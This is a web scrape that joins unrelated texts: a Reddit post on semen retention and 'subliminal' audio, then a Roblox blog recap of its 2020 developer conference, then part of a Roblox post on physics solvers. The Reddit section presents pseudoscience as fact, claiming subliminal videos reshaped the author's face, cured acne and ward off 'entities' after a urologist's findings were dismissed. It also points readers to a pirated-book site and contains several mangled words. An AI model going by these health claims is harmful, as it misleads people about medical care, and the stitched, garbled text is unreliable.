    Started drinking 16 glasses of water (thought it would help skin, but helped in other ways), and doing 100 pushups + 100 sit-ups everyday. Increased it to 200 pushups + 200 sit-ups after 1 month. After 2 months, I made a decent amount of gains (SR helps), and people started asking me workout tips and what gym I go to. Had a Kindle Paperwhite, which is frankly one of my most valued possessions. Still works perfectly fine after 5 years, and costs only $130. Buy one now. Read a lot of books mostly consisting of biographies/spirituality/practical social skills/800+ page novels for around 6 hours per day. Still try to read for at least 15 minutes/1 chapter even when extremely busy. Will post a small booklist at the end of this post.
    You can upload books to it for free if you lack money. Visit “gen.lib.rus.ec” without quotes, download the ebook in epub/mobi format, open it with Calibre (https://calibre-ebook.com/), and send it to Kindle using USB. Knowledge is an investment that produces continuous returns. Warren Buffett spends 80% of his time just reading! and takes action based on that knowledge.
    Even managed to have the motivation to learn Japanese by joining a foreign language exchange website. People, especially women, accepted and sent a lot of invitations to have a conversation; didn’t realize online attraction was due to SR back then. None of us showed our faces, so my physical appearance had nothing to do with it. From experience, the best way to learn a language was to make a phrase sheet with the most common phrases/questions, such as “okay”, “that’s awesome”, “what is that word in English/Japanese?” Basically a human AI bot. Don’t waste time trying to learn how to write the alphabet, although my primary purpose was to learn how to speak. Google Translate is good enough to understand the pronunciation.
    I learned Japanese primarily by watching Terrace House. First watched the episode with subtitles, then re-watched it without, while simultaneously writing all the connectives/conversational phrases. You can try unique methods to remember, but brute-force memorization/review worked the best. Never tried Anki since it was cumbersome to use.
    For the accent, the best way is to watch Japanese people trying to speak English, and try to mirror their accent as much as possible. It honestly helps. After 3 months, I could have a full 1 hour conversation in Japanese with a native speaker without looking at any notes. I wasn’t “fluent” (still stuttered and made mistakes), but it was a huge amount of progress for starting from scratch. Eventually after 6 months, I gave up practicing/speaking the language. I was mainly trying to fulfill a childhood fantasy, and I’m glad I tried since I learned a lot from it and got to talk with interesting people. But in reality, I stopped watching anime, and honestly never needed to speak Japanese in real-life. Now I barely remember any of the words, except a few basic phrases. Could probably last 30 seconds of full conversation at best.
    So, everything was going great until December 2017. During this time period, I probably had wet dreams/nocturnal emissions every 1 – 2 months. Barely felt much difference since there was a decent time interval between emissions. Drank 2 glasses of water everyday before bed, slept on my stomach, and ate spicy food (practices that cause nocturnal emissions), but was perfectly fine. However in December I started having emissions every 2 weeks. Initially didn’t care about it. In January it started happening every 1 week. Nothing really changed in my life during this time to cause emissions to increase. Then it started happening every 5 days, every 3 days, sometimes even 2 days in a row!
    Most of you will have no idea how terrible it feels to be on top of the world, and then suddenly crash down. The difference between living life with/without SR benefits is night and day. Even after sleeping 10 hours, I used to feel completely exhausted. People ignored me, or worse started “joking” around me. Complete disrespect by friends, family, and acquaintances. No energy/motivation to do anything. Constant brain fog, could barely concentrate. Felt even worse than my porn days when I ejaculated everyday. Voice completely shot, started feeling anxious about oral presentations for no reason, when I always excelled. Felt like my soul was dying. Those were really dark times. People started saying I “changed”, and started pointing out and constantly magnifying my flaws. It’s strange how people exaggerate our skills/talents on SR, while they completely ignore them post WD/ejaculation, and focus only on your flaws/mistakes. It makes you lose trust in everyone around you, as if all of them are energy vampires who only like you due to SR.
    I grew desperate. During this whole time I meditated, practiced no lust/no arousal as best as possible since July 2017, yet emissions increased massively in frequency. Some occurred due to sexual dreams, but most were nocturnal emissions. Thought I had a UTI at first, and went to a general practitioner. He didn’t seem very reliable, so I went to a prominent urologist. Did all sorts of tests, paid a good amount of money, and the doctor said everything was fine. Having nocturnal emissions every 5 days was perfectly normal at my age. Encouraged me to masturbate regularly if it became an inconvenience :)
    So medical science obviously failed. Started following all the tips/methods in this subreddit, and believe me I tried almost everything no matter how uncomfortable or time-consuming. Omad, avoid food/water before bed, vegetarianism, tantric meditation, different diets, various sleeping positions, no/increased meditation before bed, no/more exercise, yogic exercises, qigong, some tips mentioned by Soaring Eagle, prayed to God. None of them worked. The only method I didn’t try extensively were kegels. Initially tried a normal + reverse kegel routine, then found an article by coincidence on this subreddit about someone who permanently damaged their penis from doing kegels. Immediately stopped, thank you to that person for sharing your experience. It’s as if the universe was looking out for me. Best to avoid such risky methods even if you’re desperate. Currently sleep on my back since it avoids any "accidental physical stimulation" from occurring.
    So this nocturnal emission phenomena continued for over a year. Some methods worked better than others, while for some, I wasn’t sure if it was merely the placebo effect. In mid-2019 I came across subliminal videos (finally the good part!) on YouTube. (https://www.youtube.com/watch?v=P0W5AB1sGr0) This video explains it more thoroughly, but basically you convert affirmations (sentences like “I am happy/smart/handsome”) into audio using text-to-speech software and reprogram your subconscious mind. Tried a beauty subliminal (https://www.youtube.com/watch?v=xEXaAsm-Iys) as a joke, but the next day I noticed changes in my facial structure. Listened for an hour the first day, which was easy given the music. You have no idea how amazing it feels to know that you can control your reality just by using your mind. Completely magical. Supposedly it works due to the Law of Attraction; you can find out more by reading/watching “The Secret” by Rhonda Byrne, and later reading all the books by Neville Goddard. Started using a skin subliminal as well (https://www.youtube.com/watch?v=iqi8Q80pspk and later moved onto https://www.youtube.com/watch?v=COxz8hvl14Y ), and now my skin is completely normal. Visited prominent US dermatologists, tried all sorts of acne medicine including Accutane, and even did SR, yet none of them worked. Skin was pretty terrible, and I was glad it got fixed. Took around 4 months of daily listening although it can be shortelonger depending on your belief, blockages, and levels of positivity. There’s a CIA document on holographic universes, astral projection, time travel, and psychic powers if you need scientific validation: https://www.cia.gov/library/readingroom/docs/CIA-RDP96-00788R001700210016-5.pdf
    Disclaimer: Although there can be bad subliminal makers, they are very rare, and there has been only 2 of them in the history of the community. Someone named MindPower and Rose subliminals. The vast majority (99%) put positive affirmations. It’s best that you verify by checking all the comments, seeing their subscriber count, general personality, etc, but ultimately there’s no guarantee. The only way to make sure the affirmations are 100% positive and safe are to make them yourself or use a subliminal that blocks negative affirmations.
    One thing to note is that physical change (biokinesis; search that term)/spiritual subliminals utilize the prana in your body to a certain extent to make changes. It makes sense since physical change is essentially a psychic poweenergy work. So your SR benefits/aura might temporarily decrease. Hydration is also recommended, and you will notice feeling thirsty. Personally drink 20 glasses of water everyday.
    Obviously, my interest now turned towards using subliminals to cure nocturnal emissions. Unfortunately there’s a huge lack of subliminals regarding semen-retention or those targeted towards nocturnal emissions. Initially bought a subliminal using a paid request (you pay a subliminal maker for a specialized subliminal), but it didn’t work that well. Desired to be permanently free of nocturnal emissions, or at least reduce the frequency to once a month. So I decided to make my own subliminal. The affirmations will be posted below, and this is how I eventually cured my nocturnal emissions.
    Steps on how to make your own subliminal:
    1. Write all the affirmations in a word document and save it.
    2. Download text-to-speech software like Balabolka (http://www.cross-plus-a.com/balabolka.htm) and output the audio file in wav format (you want both uncompressed + lossless)
    3. Optional but recommended; download an audio editor like Audacity (https://www.audacityteam.org/), and fast-forward the audio as much as possible using the “Change Tempo” effect. Personally I speed the audio to one second and then loop it 1000x. Continue the process as much as possible, but never make the audio length less than 1 second. Some subliminal makers make their subliminals even more powerful by creating multiple audio streams of their affirmations using different voices, merging all the voices together, and speeding them up. It’s called layering. Why super-sped affirmations work better can be somewhat explained by this article (https://www.psychologytoday.com/us/blog/sensorium/201812/experiments-suggest-humans-can-directly-observe-the-quantum), but science still doesn’t have all the answers. Will take time.
    4. Converting the affirmations to binary code (https://www.rapidtables.com/convert/numbeascii-to-binary.html) is a technique some subliminal makers use. Supposedly it penetrates the subconscious faster.
    Affirmations + Audio Link: https://mega.nz/foldeWcwhhAia#RmD8e0I3uzjyeDdW22wEHg
    Listened to this personal subliminal for 1 hour everyday for an entire month. Still listen just to be safe. Took months of testing and editing affirmations to make it perfect. Experienced massive sexual dreams on certain days, more than normal, and found out that entities could be responsible. Try to avoid this subreddit as well, since reading the posts can trigger memories. More energetically sensitive now, and sometimes there’s a lot of low-vibrational energy. On a side-note, porn cripples your aura and invites negative entities (https://www.awakeningstaryoga.com/blog/expanding-away-from-porn-aura).
    Non-subliminal solutions:
    1. https://www.youtube.com/watch?v=g5-DrYahaSc (morphic field)
    2. https://www.youtube.com/watch?v=EWK0D1g069I (powerful aura cleanse; Tibetan bowl sounds)
    3. https://www.youtube.com/watch?v=7moRsibNyMA (reiki)
    Subliminal solutions (ordered in terms of effectiveness):
    1. https://www.youtube.com/watch?v=yLeubTQv65Q
    2. https://www.youtube.com/watch?v=XvyPscRD1ss
    3. https://www.youtube.com/watch?v=NTmnrFzR0_Q (for spells, curses, black magic, etc)
    4. https://www.youtube.com/watch?v=8Kt9s5tY1YE (last resort)
    The entire channel is a gem; these were some of the best. Have used them for a few months and feel much lighter and peaceful; experienced only headaches due to subconscious absorbing the affirmations, but zero negative effects.
    Advice: Remember to immediately download any subliminal video you find that is useful in wav format (https://www.savethevideo.com/download). Subliminal channels are sometimes deleted by YouTube (spam filter) or the creators themselves.
    Waited 3 whole months before deciding to make a Reddit post to make sure the method was 100% foolproof. Remember many people offering solutions in the past, yet 1 month later they would have another wd/nocturnal emission.
    The first month there was a lot of fear. Will I have a wet dream/nocturnal emission tonight? Was so traumatized it was difficult getting to sleep every night. After the 2nd month, I experimented with sleeping on my stomach and eating/drinking before bed. Nothing happened. Stopped recently to stay careful.
    After 2 years of suffering, this is a method that has worked. Try and see for yourself.

    Present day:
    How do you feel now? Some days it’s meh (due to flatline) like today; on other days I feel divine. No idea why flatline still occurs. Have regained all the benefits, feel love and happiness all the time. Experience intense states of bliss in meditation more frequently, although it’s just a distraction.
    Religiously/Spiritually I’ve moved from Christianity to Buddhism/Advaita Vedanta/parts of New Age. Found them more practical and useful in life. Was inspired to aim for spiritual enlightenment after reading “The 3 pillars of Zen” by Philip Kapleau. Read it, it might change your life.
    Have attended a number of meditation retreats now, along with 10-day ones. Everyone reading this post should try it. Understood how much our mental programming defined us, and that we aren’t are thoughts. Our childhood traumas define so much of our habitual reactions. Realized its okay to feel bored rather than chasing after constant stimulation.
    Even attended a Jhana retreat, which is exclusive for people who have attended prior retreats. Entered intense states of meditative absorption, understood the permeability/impermanence of reality, and had all sorts of mystical experiences. Experienced past lives; can confirm my mind did not make it up, since it’s an experience you can constantly replicate using the same methods. Before attempting such methods, you need to have the ability to sit down and meditate continuously for at least 3 hours. If you live in the US, attend IMS (Insight Meditation Society) or any prominent Vipassana/Theravada related retreat. Zen is a valid form of enlightenment, but it personally felt unstructured.
    Gave up music, took time since I was convinced it was needed for creativity. Instead, it was just a substitute source of dopamine and a way to avoid my emotions. Have much less brain fog after quitting. Only communicate using regular phone calls these days, which no one uses, and Snapchat/WhatsApp for texting. Avoid stories, waste of time. Instagram/TwitteFacebook are a waste of time unless you are using it for business purposes. The only social media you really need is LinkedIn.
    Women: You’ll learn more about them by reading romantic novels, Korean mangas, and watching Kdramas then reading all that seduction/red pill stuff. Focus on general charisma (men and women) instead of a specific gender. Read “The Charisma Myth” by Olivia Fox Cabane; it’s the most practical book on social skills I have ever read, and possibly the most life-changing as well. Teaches you self-awareness, applies Buddhist psychology to social interaction. Used to train executives in Google, read it now (and do all the exercises). The bibliography sent me on a rabbit hole that made me read ton of books on psychotherapy, meditation, mindfulness, and Buddhism; this was before SR. Inspired me to practice meditation, although the habit only became regular after SR.
    Read books such as Crucial Conversations by Al Switzer, Difficult Conversations by Douglas Stone, How to Talk so Kids will Listen by Adele Faber (works very well in general since even adults have childhood programming, and can act like children), Never Split the Difference by Chris Voss (FBI's chief international hostage and kidnapping negotiator from 2003 to 2007), Getting More by Stuart Diamond (trains negotiators at Google), and Pitch Anything by Oren Klaff (more theoretical but useful). Also read The Definitive Book of Body Language by Allan Pease and What Every Body is Saying by Joe Navarro. These are all books that will greatly improve your human interactions and contain limited fluff. Have re-read all of these books in difficult times, and they have never let me down. You should read it as well. Even if you become a monk, there’s lots of social infighting even in monasteries. Highly-developed social skills are invaluable whenever you are dealing with individuals. Read “How to make friends and influence people” by Dale Carnegie once in a while, since most forget to apply his “basic” advice. Learned a lot about oral presentations by watching Alan Shore on Boston Legal (TV show).
    Current position in life? Studying for a bachelor’s degree. My family is financially well-off, and my father is paying for my college tuition and dorm. Scholarships aren’t available for all income levels. Although I come from “privilege”, the above information can help anyone regardless of their financial position. We live in an era where information is accessible to all social classes, so excuses aren’t that relevant. If you’re practicing SR, you are already 20 steps closer to success. The tips above can be applied for free as long as you have a computesmartphone. Read books starting from today, knowledge is a source of power. People spend so much time reading the news, scrolling social media feeds, reacting to comments, chatting about useless things with friends, binging shows on Netflix, browsing YouTube/Reddit, that time quietly passes by. Time is the most valuable commodity you have; don’t waste such a limited resource on things that will contribute nothing towards your purpose in life. Once it’s spent, you can never get it back.
    Personally, I schedule the next day before going to bed. Leisure, Reading, Schoolwork, Meditation, everything is mapped out perfectly. Try to eliminate habits that just waste time and stick to your schedule perfectly (working on it myself). If you feel tired after work/studying, take a nap or meditate instead of receiving even more stimulation from videogames, YouTube, or other artificial dopamine sources. Try NoSurf.

    Basic Booklist:

    Spirituality:
    1. The End of Your World by Adyashanti (fantastic writer; must-read if you have had an awakening experience or believe you are "enlightened")
    2. How to Attain Enlightenment -> The Essence of Enlightenment by James Swartz (best introduction to Advaita Vedanta I have read so far)
    3. I am That by Sri Nisargadatta Maharaj (essence of Advaita)
    4. In the Buddha's Words by Bhikkhu Bodhi (best introduction to Buddhist scripture)
    5. Why Buddhism is True by Robert Wright (secular perspective but informative; his previous book The Moral Animal is a good introduction to evolutionary psychology. Read this first if you are non-spiritual)
    6. Wisdom Wise and Deep by Shaila Catherine (comprehensive introduction by one of the best Jhana teachers in the US)
    7. The Visuddhimagga
    8. Manual of Insight by Mahasi Sayadaw
    9. Emptiness: A Practical Guide by Guy Armstrong (good introduction to the Buddhist version of reality)
    10. Books by Loch Kelly (practical guide to non-dual meditation practices within Buddhism; The Little Book of Being by Diana Winston may be a better introduction)
    11. Seeing that Frees by Rob Burbea (really advanced but profound)
    12. http://awakeningtoreality.blogspot.com/2007/03/thusnesss-six-stages-of-experience.html (Buddhism > Advaita; ebooks in sidebar)
    13. Books by Robert Bruce such as Psychic Self-Defence and Energy Work
    14. Psychic Witch by Mat Auryn
    15. Dream Yoga by Andrew Holecek (amazing/practical book on lucid dreaming -> dream yoga)
    16. Autobiography of a Yogi
    17. The Practice of Brahmacharya by Swami Sivananda and Soaring Eagle (https://forum.nofap.com/index.php?threads/6-years-clean-rebooting-as-the-best-remedy.135983/) if you haven’t read already
    18. Xunzi trans. by Eric Hutton (final evolution of Confucianism)
    Novels (use translators mentioned):
    http://gen.lib.rus.ec/fiction/ for foreign literature

    1. Musashi by Eiji Yoshikawa (Taiko is decent as well, but this one was a masterpiece)
    2. Romance of the Three Kingdoms trans. Moss Roberts
    3. The Dream of the Red Chamber trans. David Hawkes (read it in the summer of 2017, profound but not all may see the deeper meaning)
    4. The Nine Cloud Dream trans. Heinz Insu Fenkl
    5. Atlas Shrugged by Ayn Rand (Inspirational for Entrepreneurs, however don’t start adopting this book as economic philosophy. It’s just a novel!)
    6. The Alchemist by Paulo Coelho (read now if you are experiencing an existential crisis)
    7. Dostoevsky’s Crime and Punishment + The Brothers Karamazov (optional reading; prefer Pevear translation)
    8. Perry Mason and Sherlock Holmes Series (pleasure reading but not useless)
    Psychotherapy (never visited a therapist, but found these useful):
    1. Getting Past Your Past by Francine Shapiro (by the founder of EMDR, best practical book on trauma and exercises to resolve it)
    2. Complex PTSD: From Surviving to Thriving (another immensely practical book on recovering from trauma)
    3. Breaking the Cycle by George Collins (best practical workbook on sexual addiction I have read; all should read)
    4. Get out of your mind and into your life by Steven Hayes (Was mentioned in the charisma myth booklist; take control of your thoughts and mind by the founder of ACT)
    5. Mindful Compassion by Paul Gilbert and Choden (prominent researcher on compassion applied to therapy; part one can be boring, but part two on practical exercises is invaluable)
    6. Feeling Book by David Burns (rightfully a classic book on therapy and CBT; read if you are suffering from depression)
    7. Healing Development Trauma by Laurence Heller (best book on the impact of childhood/development trauma but meant for therapists, might explain why we use addiction to cope from childhood memories; google ACE study as well)
    8. The Boy who was raised as a Dog by Bruce Perry (stories about children experiencing trauma. Increases empathy for yourself and others; you realize how childhood trauma affects how a lot of people think and behave)
    9. Whole Again: Healing Your Heart and Rediscovering Your True Self After Toxic Relationships and Emotional Abuse by Jackson MacKenzie (fantastic book on recovering from relationship abuse. Many of us have emotional baggage that fuels coping and addiction loops. Read Healing from Hidden Abuse by Shannon Thomas as well.)
    10. Self-Compassion by Kristen Neff (optional reading, but complimentary)
    For biographies, read those of presidents and important leaders. Also about famous/successful individuals. Read all of Ron Chernow’s books. Abuse the Amazon Search Engine and look through their categories. Reading biographies can fundamentally enhance your worldview so you realize that real-life issues are much more nuanced and gray rather than black and white. Also shows how successful people deal with difficult crises and their perspective on life. Especially for public policy. If a President implements an economic policy that has short-term gains, but long-term loss, he has a greater chance of being re-elected. However, short-term loss in favor of long-term gain is the correct policy. Employ critical-thinking! Avoid cable news even if you need to stay informed. Don’t even have a television in my house. Unnecessary. Just read 2 – 3 reputable news sources for 20 minutes max. Sometimes I even avoid the news since there’s too much negativity.
    https://www.reddit.com/kundalini/comments/1unyph/a_tantric_perspective_on_the_use_of_sexual_energy/ (tantric meditation technique that actually works; you are supposed to do it for 1 hour. Optional.)
    https://www.reddit.com/kundalini/comments/2zn8ev/grounding_201_two_effective_quick_methods/ (grounding method after doing the tantric meditation)
    Avoid learning Mantak Chia’s techniques from a book, since some have suffered side-effects to their energetic/biological body. Zero advice for those practicing NEO. Must be hard. Not sure about women, since SR streak is more important. Don’t pick a partner to fulfill some kind of emotional void, or due to societal programming where women are held to be the ultimate goal. Spiritual Enlightenment is the ultimate goal now, but even enlightened people need money for food and shelter.
    Youtubers I follow are Graham Stephan, Ryan Serhant, Rupert Spira, and https://www.youtube.com/channel/UCUX1V5UNWP1RUkhLewe77ZQ (cured women objectification for me; wholesome content) although mostly I avoid the website. Easy to loose track of time.
    Avoid smoking, alcohol, recreational drug use (https://www.elitedaily.com/wellness/drugs-alcohol-aura-damage/1743959, http://sshc.in/?p=1123 ), casual sex (https://mywakingpath.wordpress.com/tag/aura/; sensitive images but useful), and fast food. Budget your money, and learn how to save as much as possible.
    Hope everyone reading this post experiences their definition of success and leads a purposeful life. Will end it by stating two quotes that have inspired and guided me:
    “You yourself have to change first, or nothing will change for you!”
    ― Hideaki Sorachi
    “It is not important to be better than someone else, but to be better than you were yesterday.”
    ― Jigoro Kano (Founder of Judo)

    Update 1: Made the instructions regarding super-sped affirmations more clearer.
    Update 2: Added the audio file as well to the affirmations link since someone requested it
    Update 3: https://starseedsunited.com/negative-entities-and-psychic-attacks (basic article on entities)
    Some solutions are posted above. Updated* daily routine:
    1. https://www.reddit.com/kundalini/comments/1xyp5k/a_simple_and_universal_white_light_protection/ (basic psychic self-defence)
    2. https://www.youtube.com/watch?v=8Kt9s5tY1YE (at least once everyday; cures sexual dreams and flushes all entities)
    3. https://www.youtube.com/watch?v=yLeubTQv65Q (best shielding subliminal so far; general protection. Listen at least once everyday)
    Note: Will continuously update this post based on further clarification.
    submitted by RisingSun7799 to pureretention [link] [comments]

    AJ ALMENDINGER

    glimpse into the future of Roblox

    Our vision to bring the world together through play has never been more relevant than it is now. As our founder and CEO, David Baszucki (a.k.a. Builderman), mentioned in his keynote, more and more people are using Roblox to stay connected with their friends and loved ones. He hinted at a future where, with our automatic machine translation technology, Roblox will one day act as a universal translator, enabling people from different cultures and backgrounds to connect and learn from each other.
    During his keynote, Builderman also elaborated upon our vision to build the Metaverse; the future of avatar creation on the platform (infinitely customizable avatars that allow any body, any clothing, and any animation to come together seamlessly); more personalized game discovery; and simulating large social gatherings (like concerts, graduations, conferences, etc.) with tens of thousands of participants all in one server. We’re still very early on in this journey, but if these past five months have shown us anything, it’s clear that there is a growing need for human co-experience platforms like Roblox that allow people to play, create, learn, work, and share experiences together in a safe, civil 3D immersive space.
    Up next, our VP of Developer Relations, Matt Curtis (a.k.a. m4rrh3w), shared an update on all the things we’re doing to continue empowering developers to create innovative and exciting content through collaboration, support, and expertise. He also highlighted some of the impressive milestones our creator community has achieved since last year’s RDC. Here are a few key takeaways:
    And lastly, our VP of Engineering, Technology, Adam Miller (a.k.a. rbadam), unveiled a myriad of cool and upcoming features developers will someday be able to sink their teeth into. We saw a glimpse of procedural skies, skinned meshes, more high-quality materials, new terrain types, more fonts in Studio, a new asset type for in-game videos, haptic feedback on mobile, real-time CSG operations, and many more awesome tools that will unlock the potential for even bigger, more immersive experiences on Roblox.

    Vibin’

    Despite the virtual setting, RDC just wouldn’t have been the same without any fun party activities and networking opportunities. So, we invited special guests DJ Hyper Potions and cyber mentalist Colin Cloud for some truly awesome, truly mind-bending entertainment. Yoga instructor Erin Gilmore also swung by to inspire attendees to get out of their chair and get their body moving. And of course, we even had virtual rooms dedicated to karaoke and head-to-head social games, like trivia and Pictionary.
    Over on the networking side, Team Adopt Me, Red Manta, StyLiS Studios, and Summit Studios hosted a virtual booth for attendees to ask questions, submit resumes, and more. We also had a networking session where three participants would be randomly grouped together to get to know each other.

    What does Roblox mean to you?

    We all know how talented the Roblox community is from your creations. We’ve heard plenty of stories over the years about how Roblox has touched your lives, how you’ve made friendships, learned new skills, or simply found a place where you can be yourself. We wanted to hear more. So, we asked attendees: What does Roblox mean to you? How has Roblox connected you? How has Roblox changed your life? Then, over the course of RDC, we incorporated your responses into this awesome mural.
    📷
    Created by Alece Birnbach at Graphic Recording Studio

    Knowledge is power

    This year’s breakout sessions included presentations from Roblox developers and staff members on the latest game development strategies, a deep dive into the Roblox engine, learning how to animate with Blender, tools for working together in teams, building performant game worlds, and the new Creator Dashboard. Dr. Michael Rich, Associate Professor at Harvard Medical School and Physician at Boston Children’s Hospital, also led attendees through a discussion on mental health and how to best take care of you and your friends’ emotional well-being, especially now during these challenging times.
    📷
    Making the Dream Work with Teamwork (presented by Roblox developer Myzta)
    In addition to our traditional Q&A panel with top product and engineering leaders at Roblox, we also held a special session with Builderman himself to answer the community’s biggest questions.
    📷
    Roblox Product and Engineering Q&A Panel

    2020 Game Jam

    The Game Jam is always one of our favorite events of RDC. It’s a chance for folks to come together, flex their development skills, and come up with wildly inventive game ideas that really push the boundaries of what’s possible on Roblox. We had over 60 submissions this year—a new RDC record.
    Once again, teams of up to six people from around the world had less than 24 hours to conceptualize, design, and publish a game based on the theme “2020 Vision,” all while working remotely no less! To achieve such a feat is nothing short of awe-inspiring, but as always, our dev community was more than up for the challenge. I’ve got to say, these were some of the finest creations we’ve seen.
    WINNERS
    Best in Show: Shapescape Created By: GhettoMilkMan, dayzeedog, maplestick, theloudscream, Brick_man, ilyannna You awaken in a strange laboratory, seemingly with no way out. Using a pair of special glasses, players must solve a series of anamorphic puzzles and optical illusions to make their escape.
    Excellence in Visual Art: agn●sia Created By: boatbomber, thisfall, Elttob An obby experience unlike any other, this game is all about seeing the world through a different lens. Reveal platforms by switching between different colored lenses and make your way to the end.
    Most Creative Gameplay: Visions of a perspective reality Created By: Noble_Draconian and Spathi Sometimes all it takes is a change in perspective to solve challenges. By switching between 2D and 3D perspectives, players can maneuver around obstacles or find new ways to reach the end of each level.
    Outstanding Use of Tech: The Eyes of Providence Created By: Quenty, Arch_Mage, AlgyLacey, xJennyBeanx, Zomebody, Crykee This action/strategy game comes with a unique VR twist. While teams fight to construct the superior monument, two VR players can support their minions by collecting resources and manipulating the map.
    Best Use of Theme: Sticker Situation Created By: dragonfrosting and Yozoh Set in a mysterious art gallery, players must solve puzzles by manipulating the environment using a magic camera and stickers. Snap a photograph, place down a sticker, and see how it changes the world.
    OTHER TOP PICKS
    HONORABLE MENTIONS
    For the rest of the 2020 Game Jam submissions, check out the list below:
    20-20 Vision | 20/20 Vision | 2020 Vision, A Crazy Perspective | 2020 Vision: Nyon | A Wild Trip! | Acuity | Best Year Ever | Better Half | Bloxlabs | Climb Stairs to 2021 | Double Vision (Team hey apple) | Eyebrawl | Eyeworm Exam | FIRE 2020 | HACKED | Hyperspective | Lucid Scream | Mystery Mansion | New Years at the Museum | New Year’s Bash | Poor Vision | Predict 2020 | RBC News | Retrovertigo | Second Wave | see no evil | Sight Fight | Sight Stealers | Spectacles Struggle | Specter Spectrum | Survive 2020 | The Lost Chicken Leg | The Outbreak | The Spyglass | Time Heist | Tunnel Vision | Virtual RDC – The Story | Vision (Team Freepunk) | Vision (Team VIP People ####) | Vision Developers Conference 2020 | Vision Is Key | Vision Perspective | Vision Racer | Visions | Zepto
    And last but not least, we wanted to give a special shout out to Starboard Studios. Though they didn’t quite make it on time for our judges, we just had to include Dave’s Vision for good measure. 📷
    Thanks to everyone who participated in the Game Jam, and congrats to all those who took home the dub in each of our categories this year. As the winners of Best in Show, the developers of Shapescape will have their names forever engraved on the RDC Game Jam trophy back at Roblox HQ. Great work!

    ‘Til next year

    And that about wraps up our coverage of the first-ever digital RDC. Thanks to all who attended! Before we go, we wanted to share a special “behind the scenes” video from the 2020 RDC photoshoot.
    Check it out:
    It was absolutely bonkers. Getting 350 of us all in one server was so much fun and really brought back the feeling of being together with everyone again. That being said, we can’t wait to see you all—for real this time—at RDC next year. It’s going to be well worth the wait. ‘Til we meet again, my friends.
    © 2020 Roblox Corporation. All Rights Reserved.

    Improving Simulation and Performance with an Advanced Physics Solver

    August

    05, 2020

    by chefdeletat
    PRODUCT & TECH
    📷In mid-2015, Roblox unveiled a major upgrade to its physics engine: the Projected Gauss-Seidel (PGS) physics solver. For the first year, the new solver was optional and provided improved fidelity and greater performance compared to the previously used spring solver.
    In 2016, we added support for a diverse set of new physics constraints, incentivizing developers to migrate to the new solver and extending the creative capabilities of the physics engine. Any new places used the PGS solver by default, with the option of reverting back to the classic solver.
    We ironed out some stability issues associated with high mass differences and complex mechanisms by the introduction of the hybrid LDL-PGS solver in mid-2018. This made the old solver obsolete, and it was completely disabled in 2019, automatically migrating all places to the PGS.
    In 2019, the performance was further improved using multi-threading that splits the simulation into jobs consisting of connected islands of simulating parts. We still had performance issues related to the LDL that we finally resolved in early 2020.
    The physics engine is still being improved and optimized for performance, and we plan on adding new features for the foreseeable future.

    Implementing the Laws of Physics

    📷
    The main objective of a physics engine is to simulate the motion of bodies in a virtual environment. In our physics engine, we care about bodies that are rigid, that collide and have constraints with each other.
    A physics engine is organized into two phases: collision detection and solving. Collision detection finds intersections between geometries associated with the rigid bodies, generating appropriate collision information such as collision points, normals and penetration depths. Then a solver updates the motion of rigid bodies under the influence of the collisions that were detected and constraints that were provided by the user.
    📷
    The motion is the result of the solver interpreting the laws of physics, such as conservation of energy and momentum. But doing this 100% accurately is prohibitively expensive, and the trick to simulating it in real-time is to approximate to increase performance, as long as the result is physically realistic. As long as the basic laws of motion are maintained within a reasonable tolerance, this tradeoff is completely acceptable for a computer game simulation.

    Taking Small Steps

    The main idea of the physics engine is to discretize the motion using time-stepping. The equations of motion of constrained and unconstrained rigid bodies are very difficult to integrate directly and accurately. The discretization subdivides the motion into small time increments, where the equations are simplified and linearized making it possible to solve them approximately. This means that during each time step the motion of the relevant parts of rigid bodies that are involved in a constraint is linearly approximated.
    📷📷
    Although a linearized problem is easier to solve, it produces drift in a simulation containing non-linear behaviors, like rotational motion. Later we’ll see mitigation methods that help reduce the drift and make the simulation more plausible.

    Solving

    📷
    Having linearized the equations of motion for a time step, we end up needing to solve a linear system or linear complementarity problem (LCP). These systems can be arbitrarily large and can still be quite expensive to solve exactly. Again the trick is to find an approximate solution using a faster method. A modern method to approximately solve an LCP with good convergence properties is the Projected Gauss-Seidel (PGS). It is an iterative method, meaning that with each iteration the approximate solution is brought closer to the true solution, and its final accuracy depends on the number of iterations.
    📷
    This animation shows how a PGS solver changes the positions of the bodies at each step of the iteration process, the objective being to find the positions that respect the ball and socket constraints while preserving the center of mass at each step (this is a type of positional solver used by the IK dragger). Although this example has a simple analytical solution, it’s a good demonstration of the idea behind the PGS. At each step, the solver fixes one of the constraints and lets the other be violated. After a few iterations, the bodies are very close to their correct positions. A characteristic of this method is how some rigid bodies seem to vibrate around their final position, especially when coupling interactions with heavier bodies. If we don’t do enough iterations, the yellow part might be left in a visibly invalid state where one of its two constraints is dramatically violated. This is called the high mass ratio problem, and it has been the bane of physics engines as it causes instabilities and explosions. If we do too many iterations, the solver becomes too slow, if we don’t it becomes unstable. Balancing the two sides has been a painful and long process.

    Mitigation Strategies

    📷A solver has two major sources of inaccuracies: time-stepping and iterative solving (there is also floating point drift but it’s minor compared to the first two). These inaccuracies introduce errors in the simulation causing it to drift from the correct path. Some of this drift is tolerable like slightly different velocities or energy loss, but some are not like instabilities, large energy gains or dislocated constraints.
    Therefore a lot of the complexity in the solver comes from the implementation of methods to minimize the impact of computational inaccuracies. Our final implementation uses some traditional and some novel mitigation strategies:
    1. Warm starting: starting with the solution from a previous time-step to increase the convergence rate of the iterative solver
    2. Post-stabilization: reprojecting the system back to the constraint manifold to prevent constraint drift
    3. Regularization: adding compliance to the constraints ensuring a solution exists and is unique
    4. Pre-conditioning: using an exact solution to a linear subsystem, improving the stability of complex mechanisms
    Strategies 1, 2 and 3 are pretty traditional, but 3 has been improved and perfected by us. Also, although 4 is not unheard of, we haven’t seen any practical implementation of it. We use an original factorization method for large sparse constraint matrices and a new efficient way of combining it with the PGS. The resulting implementation is only slightly slower compared to pure PGS but ensures that the linear system coming from equality constraints is solved exactly. Consequently, the equality constraints suffer only from drift coming from the time discretization. Details on our methods are contained in my GDC 2020 presentation. Currently, we are investigating direct methods applied to inequality constraints and collisions.

    Getting More Details

    Traditionally there are two mathematical models for articulated mechanisms: there are reduced coordinate methods spearheaded by Featherstone, that parametrize the degrees of freedom at each joint, and there are full coordinate methods that use a Lagrangian formulation.
    We use the second formulation as it is less restrictive and requires much simpler mathematics and implementation.
